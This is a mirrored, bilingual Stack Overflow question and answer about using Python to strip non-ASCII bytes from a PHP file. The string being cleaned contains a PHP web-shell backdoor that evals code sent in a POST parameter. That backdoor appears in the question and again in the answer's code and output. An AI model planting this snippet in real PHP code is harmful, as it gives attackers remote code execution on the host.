简体   繁体   English

在 Python 中读取包含非法字符的文件

[英]Read a file with illegal characters in Python

I am trying to read a PHP file in Python that has illegal characters.我正在尝试在 Python 中读取包含非法字符的 PHP 文件。 The string is the following:字符串如下:

z��m���^r�^if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}

I am using the following code to strip out the illegal characters but it doesn't seem to be working我正在使用以下代码去除非法字符,但它似乎不起作用

EncodedString   = Input.encode("ascii", "ignore")
Input           = EncodedString.decode()

It results in the following string which throws an error它导致以下字符串引发错误

   ^r^if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}

The error message is错误信息是

 line 480, in t_ANY_error
    raise SyntaxError('illegal character', (None, t.lineno, None, t.value))
  File "<string>", line 2

How can I fix this?我怎样才能解决这个问题? I don't want to do it in the file being read because that would defeat the purpose of what I am trying to accomplish.我不想在正在读取的文件中这样做,因为这会破坏我想要完成的目的。

The resulting characters are within the ASCII range, thus the encode method worked just fine.结果字符在 ASCII 范围内,因此编码方法工作得很好。

Your problem is that there are still characters that you must get rid off because they cannot be interpreted by your software.您的问题是仍有一些字符您必须删除,因为您的软件无法解释它们。

What I guess is that you want to keep all characters after the last ^ , which leads to the following code :我猜你想保留最后一个^之后的所有字符,这导致以下代码:

Input         = "z��m���^r�^if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}"
EncodedString = Input.encode("ascii", "ignore")
Input         = EncodedString.decode().split('^')[-1]
print(Input)
# if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM